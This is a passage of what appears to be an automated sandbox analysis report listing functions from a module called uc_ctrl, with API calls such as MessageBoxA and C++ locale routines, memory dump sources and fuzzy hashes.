                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z
                                                                                              • API String ID: 2030045667-3217993851
                                                                                              • Opcode ID: 848231adf57959cb3be714d3642719f616374c64e5e916182234be53f9d435d5
                                                                                              • Instruction ID: 43d856f254cdcbe332ecb13450d12ff7adb73843c1ba1509112714f27d14cd3f
                                                                                              • Opcode Fuzzy Hash: 848231adf57959cb3be714d3642719f616374c64e5e916182234be53f9d435d5
                                                                                              • Instruction Fuzzy Hash: 8CB011302E8200EBEAA00B00AC0BF003A30AB22B03F300020F200AC0C283F820208A2A
                                                                                              Function 6CF79440 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ,00000000,00000000), ref: 6CF7944B
                                                                                              Strings
                                                                                              • ?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ, xrefs: 6CF79444
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ
                                                                                              • API String ID: 2030045667-3000351920
                                                                                              • Opcode ID: 511f9b48432353a3aa6db1088b2861fa3e565b7b82097f75f4e78f677005a6ee
                                                                                              • Instruction ID: df798737237ec4e2a5c15a9ccbd4116668a43edf067d40cc5fb1f56ae5c0d1a5
                                                                                              • Opcode Fuzzy Hash: 511f9b48432353a3aa6db1088b2861fa3e565b7b82097f75f4e78f677005a6ee
                                                                                              • Instruction Fuzzy Hash: D5B00174788205FAFAA41B54AD0BF243A30A706B52F648065FA19AC1C5D7F825A09A2A
                                                                                              Function 6CF79420 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ,00000000,00000000), ref: 6CF7942B
                                                                                              Strings
                                                                                              • ?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ, xrefs: 6CF79424
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ
                                                                                              • API String ID: 2030045667-738126606
                                                                                              • Opcode ID: 6e32753e6b1027469103059b22e07712a3d13774c0e7d0928fecdb7df8b1cf8a
                                                                                              • Instruction ID: fc53a8fcdd0fee657e5df03a724d67c952138650045ef7608805265d58895c53
                                                                                              • Opcode Fuzzy Hash: 6e32753e6b1027469103059b22e07712a3d13774c0e7d0928fecdb7df8b1cf8a
                                                                                              • Instruction Fuzzy Hash: 7CB011303C8300FAEAA82B00AE0BF003A30A302B03F208020F200AC0C283F820208A0A
                                                                                              Function 6CF770E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?BindTabIndex@COptionUI@UiLib@@QAEXH@Z,00000000,00000000), ref: 6CF770EB
                                                                                              Strings
                                                                                              • ?BindTabIndex@COptionUI@UiLib@@QAEXH@Z, xrefs: 6CF770E4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?BindTabIndex@COptionUI@UiLib@@QAEXH@Z
                                                                                              • API String ID: 2030045667-1726641424
                                                                                              • Opcode ID: a8267fc434d53528e1fe4ca75581be8a84f2a5089d6e3b0637e70b8780769407
                                                                                              • Instruction ID: 9670d300fc4030eb4308ce87781624d42c90703f9a1b666dd229d6233f61323d
                                                                                              • Opcode Fuzzy Hash: a8267fc434d53528e1fe4ca75581be8a84f2a5089d6e3b0637e70b8780769407
                                                                                              • Instruction Fuzzy Hash: 83B012303C8240EAE9500BC05C0BF043530A301B02F204020F2016C0C043F43530461A
                                                                                              Function 6CF77140 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z,00000000,00000000), ref: 6CF7714B
                                                                                              Strings
                                                                                              • ?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z, xrefs: 6CF77144
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z
                                                                                              • API String ID: 2030045667-1207669573
                                                                                              • Opcode ID: f38ceb3cc20da5bdda6d7f6bd265b651cee265b643cb72fa7c70cb5637b46c44
                                                                                              • Instruction ID: c6dcb7a84879276ea9adee7d4bdbc8a1e790ede7d8074572f8f5153c3fbdd887
                                                                                              • Opcode Fuzzy Hash: f38ceb3cc20da5bdda6d7f6bd265b651cee265b643cb72fa7c70cb5637b46c44
                                                                                              • Instruction Fuzzy Hash: 6AB012303C8200E6F5540B405C0BF003530B301B02F204020F6056D0C043F814348925
                                                                                              Function 6CF77120 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z,00000000,00000000), ref: 6CF7712B
                                                                                              Strings
                                                                                              • ?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z, xrefs: 6CF77124
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z
                                                                                              • API String ID: 2030045667-2010728713
                                                                                              • Opcode ID: e8066621f974efce5f3983dd8f6959f8577855b9e98e4b61995be467e640bcda
                                                                                              • Instruction ID: 0accb5da512f1c1d98eb29ff53b30ec884db46a0f0a7dad0ca3492329631ef1a
                                                                                              • Opcode Fuzzy Hash: e8066621f974efce5f3983dd8f6959f8577855b9e98e4b61995be467e640bcda
                                                                                              • Instruction Fuzzy Hash: 4FB012303C8200F6E5500B405C0BF003530A311B03F204024F7016D0C043F410308506
                                                                                              Function 6CF77100 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z,00000000,00000000), ref: 6CF7710B
                                                                                              Strings
                                                                                              • ?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z, xrefs: 6CF77104
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z
                                                                                              • API String ID: 2030045667-3982763456
                                                                                              • Opcode ID: 2a875909ec345a5afa125b032f7457940a8df1f06374621b04f793aeb7dc22ed
                                                                                              • Instruction ID: d91a0efb6d4e7ed00650b95b3a8f462800b72c48ef0776d8d55a1d08325719f1
                                                                                              • Opcode Fuzzy Hash: 2a875909ec345a5afa125b032f7457940a8df1f06374621b04f793aeb7dc22ed
                                                                                              • Instruction Fuzzy Hash: E1B011303C8300FAEAA00B80AC0FF083A30B302F83F208020F302AE0C083F820308A0A
                                                                                              Function 00108CC5 Relevance: 1.6, APIs: 1, Instructions: 130COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00108CDE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FeaturePresentProcessor
                                                                                              • String ID:
                                                                                              • API String ID: 2325560087-0
                                                                                              • Opcode ID: 426666e5cfba5dff5b47eb0da4255c01beae2d04a37c146226b3bc5f4dc2660f
                                                                                              • Instruction ID: 163359d80fa380bd4c79e0d7586752cf906b88c297be7c741c9270008710e381
                                                                                              • Opcode Fuzzy Hash: 426666e5cfba5dff5b47eb0da4255c01beae2d04a37c146226b3bc5f4dc2660f
                                                                                              • Instruction Fuzzy Hash: 88419BB19042059BDB28CFA9D98579AFBF4FB48300F14C66AD585EB7D0D7B49980CF60
                                                                                              Function 6CF9B15E Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Iconic
                                                                                              • String ID:
                                                                                              • API String ID: 110040809-0
                                                                                              • Opcode ID: 0db787548816c11995baec30147c3ac8dc997fc0e2178ab934896abab2c763a3
                                                                                              • Instruction ID: 36c9ad751b7f2625dbe12b73c534416d14febf1c1d45504cfecbf9c1cd03e4b1
                                                                                              • Opcode Fuzzy Hash: 0db787548816c11995baec30147c3ac8dc997fc0e2178ab934896abab2c763a3
                                                                                              • Instruction Fuzzy Hash: 6AD01232114770CFDB215A26F854BC2B3B5BB497A9B11092DD44283C70E7B0E8C4C740
                                                                                              Function 6CEEE4AE Relevance: 107.2, APIs: 58, Strings: 3, Instructions: 437COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6CEF8C7E,?,?,00000000), ref: 6CEEE4CD
                                                                                              • memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6CEF96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE4E1
                                                                                              • Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6CEEE4EF
                                                                                                • Part of subcall function 6CEFDEF0: _CxxThrowException.VCRUNTIME140(?,6CF13ABC), ref: 6CEFDF07
                                                                                                • Part of subcall function 6CEFDEF0: std::bad_exception::bad_exception.LIBCMT ref: 6CEFDF1C
                                                                                                • Part of subcall function 6CEFDEF0: _CxxThrowException.VCRUNTIME140(?,6CF13CD4,?), ref: 6CEFDF2A
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEE507
                                                                                              • ??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6CEEE543
                                                                                                • Part of subcall function 6CEE3810: __EH_prolog3.LIBCMT ref: 6CEE3817
                                                                                                • Part of subcall function 6CEE3810: ctype.LIBCPMT(?,00000004,6CEE38A1,00000000,00000000,0000003C,6CEEE0B3,00000001,?,00000000,?,00000000), ref: 6CEE3834
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE71C
                                                                                                • Part of subcall function 6CEF97B8: __EH_prolog3.LIBCMT ref: 6CEF97BF
                                                                                                • Part of subcall function 6CEF97B8: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE72A,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF97CA
                                                                                                • Part of subcall function 6CEF97B8: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF97E2
                                                                                                • Part of subcall function 6CEF97B8: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF9844
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE76D
                                                                                                • Part of subcall function 6CEF9851: __EH_prolog3.LIBCMT ref: 6CEF9858
                                                                                                • Part of subcall function 6CEF9851: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE77B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF9863
                                                                                                • Part of subcall function 6CEF9851: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF987B
                                                                                                • Part of subcall function 6CEF9851: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF98DD
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEE7BE
                                                                                                • Part of subcall function 6CEF98EA: __EH_prolog3.LIBCMT ref: 6CEF98F1
                                                                                                • Part of subcall function 6CEF98EA: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE7CC), ref: 6CEF98FC
                                                                                                • Part of subcall function 6CEF98EA: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEF9914
                                                                                                • Part of subcall function 6CEF98EA: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9976
                                                                                                • Part of subcall function 6CEF8B2C: __EH_prolog3_catch.LIBCMT ref: 6CEF8B33
                                                                                                • Part of subcall function 6CEF8B2C: _Getcvt.MSVCP140(?,00000034,6CEF21F7,?,00000001,0000003C,6CEF99D2,00000000), ref: 6CEF8B41
                                                                                                • Part of subcall function 6CEF8B2C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEF21F7,?,00000001,0000003C,6CEF99D2,00000000), ref: 6CEF8B50
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6CEEE824
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,?), ref: 6CEEE893
                                                                                              • new.LIBCMT ref: 6CEEE858
                                                                                                • Part of subcall function 6CF0A364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A36C
                                                                                                • Part of subcall function 6CF0A364: Concurrency::cancel_current_task.LIBCPMT ref: 6CF0A37C
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEEE8A1
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6CEEE8B2
                                                                                              • new.LIBCMT ref: 6CEEE8CB
                                                                                              • ??0?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?), ref: 6CEEE8E1
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?), ref: 6CEEE8F1
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?), ref: 6CEEE910
                                                                                              • new.LIBCMT ref: 6CEEE925
                                                                                              • ?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?), ref: 6CEEE941
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?), ref: 6CEEE94B
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?), ref: 6CEEE96A
                                                                                              • new.LIBCMT ref: 6CEEE97E
                                                                                              • ??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEEE994
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEEE9A4
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6CEEE843
                                                                                                • Part of subcall function 6CEE81D0: __EH_prolog3.LIBCMT ref: 6CEE81D7
                                                                                                • Part of subcall function 6CEE81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEFAB8A,00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?), ref: 6CEE81E0
                                                                                                • Part of subcall function 6CEE81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6CEE8209
                                                                                                • Part of subcall function 6CEE81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6CEE8215
                                                                                                • Part of subcall function 6CEE81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6CEE8288
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6CEEE553
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • new.LIBCMT ref: 6CEEE52F
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6CEEE561
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6CEEE572
                                                                                              • new.LIBCMT ref: 6CEEE58B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6CEEE5A4
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6CEEE5B2
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6CEEE5C3
                                                                                              • new.LIBCMT ref: 6CEEE5DC
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEEE5F5
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEEE603
